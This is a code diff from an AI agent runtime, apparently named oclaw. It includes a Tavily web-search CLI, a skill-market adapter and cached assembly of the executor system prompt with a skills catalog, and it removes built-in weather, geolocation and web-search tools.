lines.append(f" ✗ {url}: {error}")
return "\n".join(lines).rstrip()
def _format_map_results(data: dict[str, Any], url: str, as_json: bool = False) -> str:
"""Format map/sitemap results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
urls = data.get("results", [])
lines: list[str] = []
lines.append(f"Sitemap for {url} ({len(urls)} URLs found):")
lines.append("")
for i, u in enumerate(urls, 1):
if isinstance(u, dict):
lines.append(f" {i}. {u.get('url', u)}")
else:
lines.append(f" {i}. {u}")
if not urls:
lines.append(" No URLs discovered.")
return "\n".join(lines).rstrip()
def _format_research_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format research results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
# Topic
topic = data.get("topic") or data.get("query", "")
if topic:
lines.append(f"Research: {topic}")
lines.append("")
# Main content
content = data.get("content") or data.get("output") or data.get("report", "")
if content:
lines.append(content.strip())
else:
lines.append("No research output returned.")
# Sources
sources = data.get("sources", [])
if sources:
lines.append("")
lines.append("Sources:")
for i, src in enumerate(sources, 1):
if isinstance(src, dict):
url = src.get("url", src.get("link", str(src)))
title = src.get("title", "")
if title:
lines.append(f" [{i}] {title}")
lines.append(f" {url}")
else:
lines.append(f" [{i}] {url}")
else:
lines.append(f" [{i}] {src}")
return "\n".join(lines).rstrip()
# ─── Commands ────────────────────────────────────────────────────────────────
def cmd_search(args: argparse.Namespace) -> str:
"""Execute search/news/finance command."""
topic_map = {
"search": "general",
"news": "news",
"finance": "finance",
}
payload: dict[str, Any] = {
"query": args.query,
"topic": topic_map.get(args.command, "general"),
"search_depth": args.depth,
"max_results": args.n,
}
if args.answer:
payload["include_answer"] = True
if args.raw:
payload["include_raw_content"] = "markdown"
if args.images:
payload["include_images"] = True
if args.time:
payload["time_range"] = args.time
if args.include_domains:
payload["include_domains"] = [d.strip() for d in args.include_domains.split(",")]
if args.exclude_domains:
payload["exclude_domains"] = [d.strip() for d in args.exclude_domains.split(",")]
if args.country:
payload["country"] = args.country
data = _api_request("/search", payload)
return _format_search_results(data, as_json=args.as_json)
def cmd_extract(args: argparse.Namespace) -> str:
"""Execute extract command."""
urls = args.urls
if not urls:
print("Error: At least one URL is required for extract.", file=sys.stderr)
sys.exit(1)
payload: dict[str, Any] = {
"urls": urls if len(urls) > 1 else urls[0],
}
if args.depth and args.depth != "basic":
payload["extract_depth"] = args.depth
if hasattr(args, "format_type") and args.format_type:
payload["format"] = args.format_type
if hasattr(args, "query") and args.query:
payload["query"] = args.query
data = _api_request("/extract", payload)
return _format_extract_results(data, as_json=args.as_json)
def cmd_crawl(args: argparse.Namespace) -> str:
"""Execute crawl command."""
payload: dict[str, Any] = {
"url": args.url,
}
if args.max_depth is not None:
payload["max_depth"] = args.max_depth
if args.max_breadth is not None:
payload["max_breadth"] = args.max_breadth
if args.limit is not None:
payload["limit"] = args.limit
if hasattr(args, "instructions") and args.instructions:
payload["instructions"] = args.instructions
if hasattr(args, "select_paths") and args.select_paths:
payload["select_paths"] = [p.strip() for p in args.select_paths.split(",")]
if hasattr(args, "exclude_paths") and args.exclude_paths:
payload["exclude_paths"] = [p.strip() for p in args.exclude_paths.split(",")]
if hasattr(args, "format_type") and args.format_type:
payload["format"] = args.format_type
data = _api_request("/crawl", payload, timeout=60)
return _format_crawl_results(data, as_json=args.as_json)
def cmd_map(args: argparse.Namespace) -> str:
"""Execute map/sitemap command."""
payload: dict[str, Any] = {
"url": args.url,
}
if args.max_depth is not None:
payload["max_depth"] = args.max_depth
if args.max_breadth is not None:
payload["max_breadth"] = args.max_breadth
if args.limit is not None:
payload["limit"] = args.limit
data = _api_request("/map", payload)
return _format_map_results(data, args.url, as_json=args.as_json)
def cmd_research(args: argparse.Namespace) -> str:
"""Execute research command."""
payload: dict[str, Any] = {
"input": args.query,
}
if args.model:
payload["model"] = args.model
data = _api_request("/research", payload, timeout=RESEARCH_TIMEOUT)
return _format_research_results(data, as_json=args.as_json)
# ─── CLI ─────────────────────────────────────────────────────────────────────
def build_parser() -> argparse.ArgumentParser:
"""Build the argument parser with all subcommands."""
parser = argparse.ArgumentParser(
description="Tavily Search v1.0 - AI-powered web search platform",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s search "latest AI news" --answer
%(prog)s news "tech industry" --time week
%(prog)s finance "NVIDIA stock" --depth advanced
%(prog)s extract "https://example.com/article"
%(prog)s crawl "https://docs.example.com" --limit 20
%(prog)s map "https://example.com"
%(prog)s research "Impact of AI on healthcare"
""",
)
subparsers = parser.add_subparsers(dest="command", help="Command to execute")
# ── Common search options ──
def add_search_options(sub: argparse.ArgumentParser) -> None:
sub.add_argument("query", help="Search query")
sub.add_argument("--depth", choices=["basic", "advanced"], default="basic",
help="Search depth (default: basic; advanced = 2 credits)")
sub.add_argument("--time", choices=["day", "week", "month", "year", "d", "w", "m", "y"],
default=None, help="Time range filter")
sub.add_argument("-n", type=int, default=5, help="Max results 0-20 (default: 5)")
sub.add_argument("--answer", action="store_true", help="Include LLM-synthesized answer")
sub.add_argument("--raw", action="store_true", help="Include raw page content")
sub.add_argument("--images", action="store_true", help="Include image URLs")
sub.add_argument("--include-domains", default=None,
help="Comma-separated domains to include")
sub.add_argument("--exclude-domains", default=None,
help="Comma-separated domains to exclude")
sub.add_argument("--country", default=None, help="Country code to boost (e.g., US, IL)")
sub.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# search
p_search = subparsers.add_parser("search", help="Web search (general)")
add_search_options(p_search)
# news
p_news = subparsers.add_parser("news", help="News search")
add_search_options(p_news)
# finance
p_finance = subparsers.add_parser("finance", help="Finance search")
add_search_options(p_finance)
# extract
p_extract = subparsers.add_parser("extract", help="Extract content from URLs")
p_extract.add_argument("urls", nargs="+", help="URLs to extract content from")
p_extract.add_argument("--depth", choices=["basic", "advanced"], default="basic",
help="Extraction depth")
p_extract.add_argument("--format", dest="format_type", choices=["markdown", "text"],
default=None, help="Output format (default: markdown)")
p_extract.add_argument("--query", default=None,
help="Query for relevance reranking of chunks")
p_extract.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# crawl
p_crawl = subparsers.add_parser("crawl", help="Crawl a website")
p_crawl.add_argument("url", help="Root URL to crawl")
p_crawl.add_argument("--depth", choices=["basic", "advanced"], default=None,
help="Crawl depth")
p_crawl.add_argument("--max-depth", type=int, default=None, help="Max link depth (default: 2)")
p_crawl.add_argument("--max-breadth", type=int, default=None,
help="Max pages per level (default: 10)")
p_crawl.add_argument("--limit", type=int, default=None, help="Max total pages (default: 10)")
p_crawl.add_argument("--instructions", default=None,
help="Natural language crawl instructions")
p_crawl.add_argument("--select-paths", default=None,
help="Comma-separated path patterns to include")
p_crawl.add_argument("--exclude-paths", default=None,
help="Comma-separated path patterns to exclude")
p_crawl.add_argument("--format", dest="format_type", choices=["markdown", "text"],
default=None, help="Output format")
p_crawl.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# map
p_map = subparsers.add_parser("map", help="Discover sitemap URLs")
p_map.add_argument("url", help="Root URL to map")
p_map.add_argument("--max-depth", type=int, default=None, help="Max depth (default: 2)")
p_map.add_argument("--max-breadth", type=int, default=None,
help="Max breadth per level (default: 20)")
p_map.add_argument("--limit", type=int, default=None, help="Max URLs (default: 50)")
p_map.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# research
p_research = subparsers.add_parser("research", help="Deep AI research")
p_research.add_argument("query", help="Research question")
p_research.add_argument("--model", choices=["mini", "pro", "auto"], default=None,
help="Research model (default: auto)")
p_research.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
return parser
def main() -> None:
"""CLI entry point."""
parser = build_parser()
args = parser.parse_args()
if not args.command:
parser.print_help()
sys.exit(1)
if not API_KEY:
print("Error: TAVILY_API_KEY environment variable not set.", file=sys.stderr)
print("Set it in OpenClaw config or export TAVILY_API_KEY=your_key", file=sys.stderr)
sys.exit(1)
try:
if args.command in ("search", "news", "finance"):
result = cmd_search(args)
elif args.command == "extract":
result = cmd_extract(args)
elif args.command == "crawl":
result = cmd_crawl(args)
elif args.command == "map":
result = cmd_map(args)
elif args.command == "research":
result = cmd_research(args)
else:
parser.print_help()
sys.exit(1)
print(result)
except SystemExit:
raise
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -2,21 +2,7 @@
name: weather
description: Get current weather and forecasts (no API key required).
homepage: https://wttr.in/:help
metadata:
clawdbot:
emoji: "🌤️"
requires:
bins: ["curl"]
oclaw:
runtime:
type: python
entry: scripts/run.py
schema:
type: object
properties:
location: { type: string, description: "City name (e.g. Shanghai, London)" }
format: { type: string, description: "wttr.in format (default: 3)" }
additionalProperties: false
metadata: {"clawdbot":{"emoji":"🌤️","requires":{"bins":["curl"]}}}
---
# Weather

View file

@ -1,54 +0,0 @@
from __future__ import annotations
import json
import sys
import urllib.parse
import urllib.request
def _read_stdin_json() -> dict:
try:
raw = input()
except EOFError:
raw = ""
raw = (raw or "").strip()
if not raw:
return {}
try:
obj = json.loads(raw)
except Exception:
return {}
return obj if isinstance(obj, dict) else {}
def main() -> None:
# Windows default console encoding may be GBK; force UTF-8 so symbols like ☀ do not crash.
try:
sys.stdout.reconfigure(encoding="utf-8")
except Exception:
pass
payload = _read_stdin_json()
args = payload.get("args") if isinstance(payload.get("args"), dict) else {}
location = str(args.get("location") or "Shanghai").strip() or "Shanghai"
fmt = str(args.get("format") or "3").strip() or "3"
# wttr.in: GET /<location>?format=<fmt>
loc_q = urllib.parse.quote(location, safe="")
url = f"https://wttr.in/{loc_q}?format={urllib.parse.quote(fmt, safe='')}"
req = urllib.request.Request(url, headers={"User-Agent": "oclaw-skill-weather/1.0"})
try:
with urllib.request.urlopen(req, timeout=10) as resp:
text = resp.read().decode("utf-8", errors="ignore").strip()
out = {"ok": True, "location": location, "format": fmt, "text": text}
except Exception as exc:
out = {"ok": False, "error_code": "fetch_failed", "error": f"{type(exc).__name__}:{exc}"}
output = json.dumps(out, ensure_ascii=False)
try:
print(output)
except UnicodeEncodeError:
# Last-resort fallback for environments where stdout reconfigure is unavailable.
sys.stdout.buffer.write((output + "\n").encode("utf-8", errors="replace"))
if __name__ == "__main__":
main()

53
runtime/skills_market.py Normal file
View file

@ -0,0 +1,53 @@
from __future__ import annotations
from dataclasses import dataclass
from typing import Any, Protocol
from oclaw.runtime.tools.skills.clawhub_client import get_skill_detail, search_skills
class SkillMarketAdapter(Protocol):
provider: str
def search(self, query: str, *, limit: int = 20) -> list[dict[str, Any]]: ...
def detail(self, slug: str) -> dict[str, Any]: ...
def resolve_archive_url(self, *, slug: str, version: str | None = None) -> tuple[str, str]:
"""Return (archive_url, resolved_version)."""
@dataclass(frozen=True)
class ClawHubMarketAdapter:
provider: str = "clawhub"
def search(self, query: str, *, limit: int = 20) -> list[dict[str, Any]]:
return search_skills(query, limit=limit)
def detail(self, slug: str) -> dict[str, Any]:
return get_skill_detail(slug)
def resolve_archive_url(self, *, slug: str, version: str | None = None) -> tuple[str, str]:
detail = self.detail(slug)
requested = str(version or "").strip()
if requested:
for row in detail.get("versions") or []:
if not isinstance(row, dict):
continue
if str(row.get("version") or "").strip() != requested:
continue
return str(row.get("archiveUrl") or "").strip(), requested
return "", requested
latest = str(detail.get("latestVersion") or "").strip()
return str(detail.get("archiveUrl") or "").strip(), latest
def get_market_adapter(provider: str | None) -> SkillMarketAdapter:
p = str(provider or "clawhub").strip().lower()
if p in {"clawhub", "openclaw"}:
return ClawHubMarketAdapter(provider="clawhub")
raise ValueError(f"unsupported_market_provider:{p}")
__all__ = ["SkillMarketAdapter", "ClawHubMarketAdapter", "get_market_adapter"]

View file

@ -8,11 +8,7 @@ from oclaw.runtime.skill_role_binding import (
allowed_workspace_skill_names_for_role,
should_apply_workspace_role_filter,
)
from oclaw.runtime.skills import (
_allowed_tool_names_after_wire_policy,
build_skill_manifest,
discover_workspace_skill_manifests,
)
from oclaw.runtime.skills import discover_workspace_skill_manifests
from oclaw.runtime.tools.base import ToolRegistry
@ -76,11 +72,10 @@ def collect_skill_catalog_entries(
base_url: str,
skill_binding_role: str | None = None,
) -> list[tuple[str, str, str]]:
"""Return (name, description, location) for model-visible skills (wire + disable filtered)."""
allowed, _hidden = _allowed_tool_names_after_wire_policy(registry=registry, store=store, base_url=base_url)
"""Return (name, description, location) for model-visible prompt skills."""
_ = registry
_ = base_url
disabled = _disabled_skill_names(store)
skill_specs, _stats = build_skill_manifest(registry=registry, store=store, base_url=base_url)
seen: set[str] = set()
out: list[tuple[str, str, str]] = []
role_filter = should_apply_workspace_role_filter(store=store, skill_binding_role=skill_binding_role)
@ -94,41 +89,24 @@ def collect_skill_catalog_entries(
if role_filter:
if m.name not in role_allow:
continue
elif m.name not in allowed:
continue
out.append((m.name, (m.description or "").strip() or m.name, m.skill_file))
seen.add(m.name)
for s in sorted(skill_specs, key=lambda x: x.name.lower()):
if s.name in seen or s.name in disabled:
continue
out.append((s.name, (s.description or "").strip() or s.name, str(s.location or f"tool:{s.name}")))
seen.add(s.name)
return sorted(out, key=lambda x: x[0].lower())
def format_skills_for_prompt(entries: list[tuple[str, str, str]], *, max_chars: int) -> str:
"""oclaw-aligned `<available_skills>` XML block with a hard character budget."""
"""Natural-language skill catalog block with a hard character budget."""
if not entries or max_chars <= 0:
return ""
header = (
"\n\nThe following skills describe callable capabilities and optional workspace packages.\n"
"When you need full instructions for a workspace skill, use `read_file` (or equivalent) on the path in `<location>`.\n"
"For execution, use native tool/function calls provided by the host.\n"
"When a skill references a relative path, resolve it against that skill's directory (parent of SKILL.md).\n"
)
tail = "\n</available_skills>"
def _render(subset: list[tuple[str, str, str]]) -> str:
lines = [header.rstrip(), "", "<available_skills>"]
lines: list[str] = ['']
lines.append("\n## 技能(skills):")
for name, desc, loc in subset:
lines.append(" <skill>")
lines.append(f" <name>{escape_xml(name)}</name>")
lines.append(f" <description>{escape_xml(desc)}</description>")
lines.append(f" <location>{escape_xml(loc)}</location>")
lines.append(" </skill>")
lines.append("</available_skills>")
safe_name = str(name).replace('"', '\\"')
safe_desc = str(desc).replace('"', '\\"')
safe_loc = str(loc).replace('"', '\\"')
lines.append(f'- name:"{safe_name}", description:"{safe_desc}", path:"{safe_loc}"')
return "\n".join(lines)
# Drop from the end until under budget (keep workspace-first order).

View file

@ -1,14 +1,54 @@
from __future__ import annotations
import threading
from typing import Any
from oclaw.runtime.memory_stage import render_memory_context_block
from oclaw.runtime.project_context_prompt import build_project_context_block
from oclaw.runtime.skills_prompt import build_skills_catalog_block
from oclaw.runtime.types import OclawMemoryContext
from oclaw.runtime.workspaces.experts import expert_workspace_signature_token
from oclaw.prompts.loader import render_runtime_prompt
from oclaw.runtime.tools.base import ToolRegistry
_EXECUTOR_STATIC_PROMPT_CACHE_LOCK = threading.Lock()
_EXECUTOR_STATIC_PROMPT_CACHE: dict[tuple[Any, ...], str] = {}
def _executor_prompt_settings_signature(store: Any) -> tuple[str, ...]:
keys = (
"AIA_SKILL_RUNTIME_ENABLED",
"AIA_SKILLS_PROMPT_IN_SYSTEM",
"AIA_SKILL_DISABLED_NAMES",
"AIA_SKILL_ROLE_BINDING_ENABLED",
"AIA_SKILL_ROLE_BINDING_MANAGER_INHERIT",
"AIA_PROJECT_CONTEXT_MAX_FILE_CHARS",
"AIA_PROJECT_CONTEXT_MAX_TOTAL_CHARS",
)
parts: list[str] = []
for key in keys:
try:
val = str(store.get_setting(key) or "")
except Exception:
val = ""
parts.append(f"{key}={val}")
return tuple(parts)
def _unified_skill_policy_guidance() -> str:
# Global policy for all agents (including dynamic/ephemeral) — appended to base_system in build_executor_system_prompt.
return (
"- 如果用户问你有哪些技能(skill/技能),请直接根据已注入的技能目录及其 description 回答。\n"
"- 不要为了“列出技能”而去读取 SKILL.md。只有在你确实需要某个技能的详细使用说明时,才读取对应 SKILL.md。\n"
"- 当你需要技能细节时,请按目录中给出的 path 读取对应的 SKILL.md。"
"- 技能包由说明文档和可选文件组成。运行时不会自动执行技能 `scripts/` 目录下的文件;\n"
"- internal hooks 是独立系统,也不会自动执行这些脚本。\n"
"- 当用户明确要求运行技能脚本时,请使用项目允许的 terminal/bash/exec(或同类)工具执行;\n"
"- 如果脚本依赖相对路径(例如 `.learnings/`),请将工作目录设置为用户工作区。\n"
"- 在没有显式工具调用成功结果前,不要假设脚本已经执行。\n"
"- 在 Windows 上,`.sh` 可能需要 Git Bash、WSL 或等效环境。\n"
)
def build_executor_system_prompt(
*,
@ -26,17 +66,53 @@ def build_executor_system_prompt(
`lang` is reserved for future localized system fragments; current templates are bilingual/static.
"""
_ = lang # reserved for i18n extensions
final_system = get_executor_prompt_static(
store=store,
tools=tools,
base_url=base_url,
base_system=base_system,
workspace_dir=workspace_dir,
skill_binding_role=skill_binding_role,
)
mem_block = render_memory_context_block(memory_context or OclawMemoryContext())
if not mem_block:
return final_system
return render_runtime_prompt(
"runtime/system_with_memory.md",
variables={"system_prompt": final_system, "memory_context": mem_block},
strict=True,
)
def get_executor_prompt_static(
*,
store: Any,
tools: ToolRegistry | None,
base_url: str,
base_system: str,
workspace_dir: str | None = None,
skill_binding_role: str | None = None,
) -> str:
cache_key = (
str(base_url or "").strip(),
str(base_system or "").strip(),
str(workspace_dir or "").strip(),
str(skill_binding_role or "").strip().lower(),
expert_workspace_signature_token(),
_executor_prompt_settings_signature(store),
bool(tools is not None),
)
with _EXECUTOR_STATIC_PROMPT_CACHE_LOCK:
cached = _EXECUTOR_STATIC_PROMPT_CACHE.get(cache_key)
if isinstance(cached, str):
return cached
final_system = str(base_system or "").strip()
guide = _unified_skill_policy_guidance().strip()
if guide and guide not in final_system:
final_system = f"{final_system}\n\n{guide}".strip()
project_block = build_project_context_block(store=store, workspace_dir=workspace_dir)
if project_block:
final_system = f"{final_system}\n\n{project_block}".strip()
mem_block = render_memory_context_block(memory_context or OclawMemoryContext())
if mem_block:
final_system = render_runtime_prompt(
"runtime/system_with_memory.md",
variables={"system_prompt": final_system, "memory_context": mem_block},
strict=True,
)
if tools is not None:
cat = build_skills_catalog_block(
store=store,
@ -50,11 +126,42 @@ def build_executor_system_prompt(
variables={"system_body": final_system, "skills_catalog": cat},
strict=True,
)
with _EXECUTOR_STATIC_PROMPT_CACHE_LOCK:
_EXECUTOR_STATIC_PROMPT_CACHE[cache_key] = final_system
if len(_EXECUTOR_STATIC_PROMPT_CACHE) > 256:
_EXECUTOR_STATIC_PROMPT_CACHE.clear()
return final_system
def warm_executor_prompt_cache(
*,
store: Any,
tools: ToolRegistry | None,
base_url: str,
role_base_systems: dict[str, str],
workspace_dir: str | None = None,
) -> dict[str, int]:
warmed = 0
for role, base_system in (role_base_systems or {}).items():
_ = get_executor_prompt_static(
store=store,
tools=tools,
base_url=base_url,
base_system=str(base_system or ""),
workspace_dir=workspace_dir,
skill_binding_role=str(role or "").strip().lower() or None,
)
warmed += 1
return {"roles_warmed": int(warmed)}
def build_oclaw_executor_system_prompt(**kwargs: Any) -> str:
return build_executor_system_prompt(**kwargs)
__all__ = ["build_executor_system_prompt", "build_oclaw_executor_system_prompt"]
__all__ = [
"build_executor_system_prompt",
"build_oclaw_executor_system_prompt",
"get_executor_prompt_static",
"warm_executor_prompt_cache",
]

View file

@ -22,11 +22,25 @@ logger = logging.getLogger(__name__)
# restricted to a single safe builtin (`system_time`), so this is left empty.
TOOL_FACTORIES: tuple[object, ...] = ()
def _is_truthy(v: str | None) -> bool:
return str(v or "").strip().lower() in ("1", "true", "yes", "on")
def _skill_toolcall_enabled(store: SqliteStore | None) -> bool:
try:
raw_env = str(os.getenv("AIA_SKILL_TOOLCALL_ENABLED") or "").strip()
if raw_env:
return _is_truthy(raw_env)
if store is not None:
raw = str(store.get_setting("AIA_SKILL_TOOLCALL_ENABLED") or "").strip()
if raw:
return _is_truthy(raw)
except Exception:
pass
# Default off: skill uses prompt-injection path, not toolcall path.
return False
def _apply_declared_tool_policy(
tools: list[ToolSpec],
*,
@ -168,16 +182,17 @@ def materialize_tool_specs(
except Exception as exc:
logger.warning("expert tool load skipped: %s", exc)
# Load executable skills (declared via SKILL.md metadata.oclaw.runtime).
try:
for spec in materialize_executable_skill_tools(store=store):
if not isinstance(spec, ToolSpec):
continue
if any(str(t.name or "") == str(spec.name or "") for t in tools):
continue
tools.append(spec)
except Exception as exc:
logger.warning("skill runtime tool load skipped: %s", exc)
# Load executable skills only when toolcall mode is explicitly enabled.
if _skill_toolcall_enabled(store):
try:
for spec in materialize_executable_skill_tools(store=store):
if not isinstance(spec, ToolSpec):
continue
if any(str(t.name or "") == str(spec.name or "") for t in tools):
continue
tools.append(spec)
except Exception as exc:
logger.warning("skill runtime tool load skipped: %s", exc)
# MCP tools are role-bound and should be materialized before model injection.
# Fine-grained penalty/visibility is still applied by wire policy in direct_loop.

View file

@ -9,21 +9,4 @@ def system_info_tool() -> ToolSpec:
return factory()
def geo_info_tool() -> ToolSpec:
from .geo_info import geo_info_tool as factory
return factory()
def weather_tool() -> ToolSpec:
from .weather import weather_tool as factory
return factory()
def web_search_tool() -> ToolSpec:
from .web_search import web_search_tool as factory
return factory()
__all__ = ["system_info_tool", "geo_info_tool", "weather_tool", "web_search_tool"]
__all__ = ["system_info_tool"]

View file

@ -1,66 +0,0 @@
"""系统工具共用 HTTP 辅助函数(Nominatim 逆地理编码与 ipapi.co)。"""
from __future__ import annotations
from typing import Any
import httpx
NOMINATIM_REQUEST_HEADERS = {"User-Agent": "OpsAssistant/1.0 (internal tool)"}
DEFAULT_HTTP_TIMEOUT = 10.0
def nominatim_reverse(
client: httpx.Client,
lat: float,
lon: float,
*,
accept_language: str = "en",
) -> dict[str, Any]:
"""调用 Nominatim 逆地理编码并返回解析后的 JSON,失败时返回空字典。"""
try:
r = client.get(
"https://nominatim.openstreetmap.org/reverse",
params={"lat": lat, "lon": lon, "format": "json", "accept-language": accept_language},
headers=NOMINATIM_REQUEST_HEADERS,
)
r.raise_for_status()
data = r.json()
return data if isinstance(data, dict) else {}
except Exception:
return {}
def ipapi_approximate_location(client: httpx.Client) -> dict[str, Any] | None:
try:
ip_resp = client.get("https://ipapi.co/json/")
ip_resp.raise_for_status()
ip_data = ip_resp.json()
lat = ip_data.get("latitude")
lon = ip_data.get("longitude")
if lat is None or lon is None:
return None
lat_f = float(lat)
lon_f = float(lon)
geo = nominatim_reverse(client, lat_f, lon_f)
display_name = geo.get("display_name") if geo else None
if not display_name or not str(display_name).strip():
parts = [ip_data.get("city"), ip_data.get("region"), ip_data.get("country_name")]
display_name = ", ".join(str(p) for p in parts if p)
if not display_name:
display_name = f"Approximate ({lat_f:.4f}, {lon_f:.4f})"
return {
"latitude": lat_f,
"longitude": lon_f,
"display_name": str(display_name).strip(),
"ip": ip_data.get("ip"),
"city": ip_data.get("city"),
"region": ip_data.get("region"),
"country_name": ip_data.get("country_name"),
"nominatim": geo,
}
except Exception:
return None
__all__ = ["DEFAULT_HTTP_TIMEOUT", "NOMINATIM_REQUEST_HEADERS", "ipapi_approximate_location", "nominatim_reverse"]

View file

@ -1,78 +0,0 @@
from __future__ import annotations
import httpx
from typing import Any
from oclaw.runtime.tools.base import ToolSpec
from .geo_http import DEFAULT_HTTP_TIMEOUT, ipapi_approximate_location, nominatim_reverse
def _reverse_geocode(lat: float, lon: float) -> dict[str, Any]:
with httpx.Client(timeout=DEFAULT_HTTP_TIMEOUT) as client:
return nominatim_reverse(client, lat, lon)
def geo_info_tool() -> ToolSpec:
def handler(args: dict[str, Any]) -> dict[str, Any]:
lat = args.get("latitude")
lon = args.get("longitude")
if lat is None or lon is None:
return {"ok": False, "error": "latitude and longitude are required"}
try:
lat_f = float(lat)
lon_f = float(lon)
except (TypeError, ValueError):
return {"ok": False, "error": "latitude and longitude must be numbers"}
data = _reverse_geocode(lat_f, lon_f)
if not data or "error" in data:
error_msg = data.get("error") if data else "Unknown error"
return {"ok": False, "error": error_msg}
return {"ok": True, "address": data.get("display_name"), "details": data.get("address"), "latitude": lat_f, "longitude": lon_f}
return ToolSpec(
name="reverse_geocode",
description="Reverse geocode: get a human-readable address from latitude and longitude.",
parameters={
"type": "object",
"properties": {
"latitude": {"type": "number", "description": "Latitude in decimal degrees."},
"longitude": {"type": "number", "description": "Longitude in decimal degrees."},
},
"required": ["latitude", "longitude"],
"additionalProperties": False,
},
handler=handler,
)
def system_location_tool() -> ToolSpec:
def handler(args: dict[str, Any]) -> dict[str, Any]:
try:
with httpx.Client(timeout=DEFAULT_HTTP_TIMEOUT) as client:
loc = ipapi_approximate_location(client)
if not loc:
return {"ok": False, "error": "Could not detect coordinates for this network"}
geo = loc.get("nominatim") or {}
return {
"ok": True,
"latitude": loc["latitude"],
"longitude": loc["longitude"],
"address": loc["display_name"],
"ip": loc.get("ip"),
"city": loc.get("city"),
"region": loc.get("region"),
"country": loc.get("country_name"),
"details": geo.get("address") if geo else None,
}
except Exception as e:
return {"ok": False, "error": f"Failed to detect location: {e}"}
return ToolSpec(
name="get_system_location",
description="Detect this machine's public IP and approximate location (coordinates and address).",
parameters={"type": "object", "properties": {}, "additionalProperties": False},
handler=handler,
)
__all__ = ["geo_info_tool", "system_location_tool"]

View file

@ -1,150 +0,0 @@
from __future__ import annotations
import httpx
import re
import unicodedata
from typing import Any
from oclaw.runtime.tools.base import ToolSpec
from .geo_http import NOMINATIM_REQUEST_HEADERS, ipapi_approximate_location, nominatim_reverse
_WEATHER_CODES: dict[int, str] = {
0: "Clear sky",
1: "Mainly clear",
2: "Partly cloudy",
3: "Overcast",
45: "Fog",
48: "Depositing rime fog",
51: "Light drizzle",
53: "Moderate drizzle",
55: "Dense drizzle",
61: "Slight rain",
63: "Moderate rain",
65: "Heavy rain",
71: "Slight snow",
73: "Moderate snow",
75: "Heavy snow",
95: "Thunderstorm",
}
_LOCAL_WEATHER_ALIASES: frozenset[str] = frozenset(
{"here", "local", "locally", "nearby", "current", "current location", "my location", "this location", "local area", "unknown", "anywhere", "本地", "当地", "这里", "附近", "当前位置", "当前", "本地天气"}
)
def _normalize_city_token(s: str) -> str:
t = unicodedata.normalize("NFKC", (s or "").strip()).casefold()
t = re.sub(r"\s+", " ", t)
return t
def _is_local_weather_alias(city: str) -> bool:
return _normalize_city_token(city) in _LOCAL_WEATHER_ALIASES
def _coerce_city(raw: Any) -> str | None:
if raw is None:
return None
if not isinstance(raw, str):
raw = str(raw)
s = raw.strip()
return s if s else None
def weather_tool() -> ToolSpec:
def handler(args: dict[str, Any]) -> dict[str, Any]:
city = _coerce_city(args.get("city"))
lat = args.get("latitude")
lon = args.get("longitude")
if (lat is None) ^ (lon is None):
return {"ok": False, "error": "Provide both latitude and longitude, or neither (for local-IP weather), or use city alone."}
has_coords = lat is not None and lon is not None
try:
with httpx.Client(timeout=12.0) as client:
location_basis: str
resolved_city: str
lat_f: float
lon_f: float
extra: dict[str, Any] = {}
if has_coords:
lat_f = float(lat)
lon_f = float(lon)
location_basis = "explicit_coordinates"
rev = nominatim_reverse(client, lat_f, lon_f)
dn = (rev.get("display_name") or "").strip() if rev else ""
resolved_city = dn or f"Coordinates ({lat_f}, {lon_f})"
elif city and not _is_local_weather_alias(city):
geo_resp = client.get(
"https://nominatim.openstreetmap.org/search",
params={"q": city, "format": "json", "limit": 1},
headers=NOMINATIM_REQUEST_HEADERS,
)
geo_resp.raise_for_status()
geo_data = geo_resp.json()
if not geo_data:
return {"ok": False, "error": f"City not found: {city}"}
first = geo_data[0]
lat_f = float(first["lat"])
lon_f = float(first["lon"])
resolved_city = first.get("display_name", city)
location_basis = "explicit_place"
else:
ip_loc = ipapi_approximate_location(client)
if not ip_loc:
return {"ok": False, "error": "Could not resolve local weather: failed to detect location from this network. Pass a concrete city/region (e.g. 北京) or both latitude and longitude."}
lat_f = ip_loc["latitude"]
lon_f = ip_loc["longitude"]
resolved_city = ip_loc["display_name"]
location_basis = "local_network_ip"
if ip_loc.get("ip") is not None:
extra["approximate_ip"] = ip_loc["ip"]
weather_url = "https://api.open-meteo.com/v1/forecast"
weather_params = {
"latitude": lat_f,
"longitude": lon_f,
"current": ["temperature_2m", "relative_humidity_2m", "apparent_temperature", "is_day", "weather_code", "wind_speed_10m"],
"timezone": "auto",
}
w_resp = client.get(weather_url, params=weather_params)
w_resp.raise_for_status()
current = w_resp.json().get("current", {})
code = int(current.get("weather_code") or 0)
condition = _WEATHER_CODES.get(code, "Unknown")
out: dict[str, Any] = {
"ok": True,
"city": resolved_city,
"temperature": f"{current.get('temperature_2m')}°C",
"feels_like": f"{current.get('apparent_temperature')}°C",
"condition": condition,
"humidity": f"{current.get('relative_humidity_2m')}%",
"wind_speed": f"{current.get('wind_speed_10m')} km/h",
"is_day": bool(current.get("is_day")),
"latitude": lat_f,
"longitude": lon_f,
"location_basis": location_basis,
}
out.update(extra)
if location_basis == "local_network_ip":
out["disclaimer"] = "Weather is for the approximate location of this deployment's public IP (VPN/proxy/corporate NAT may differ from the end user's actual place)."
return out
except Exception as e:
return {"ok": False, "error": f"Failed to fetch weather: {e}"}
return ToolSpec(
name="get_weather",
description="Get current weather (Open-Meteo, no API key). Default: omit city and coordinates — uses this server's outbound public IP for approximate local weather. Override: pass a concrete placename in `city` or both `latitude` and `longitude`.",
parameters={
"type": "object",
"properties": {
"city": {"type": "string", "description": "Optional place name."},
"latitude": {"type": "number", "description": "Optional. Must pair with longitude."},
"longitude": {"type": "number", "description": "Optional. Must pair with latitude."},
},
"additionalProperties": False,
},
handler=handler,
)
__all__ = ["weather_tool"]

View file

@ -1,136 +0,0 @@
"""基于 DuckDuckGo(ddgs 包)的公网搜索工具(无需 API Key)。"""
from __future__ import annotations
from datetime import datetime, timezone
from typing import Any
from oclaw.runtime.tools.base import ToolSpec
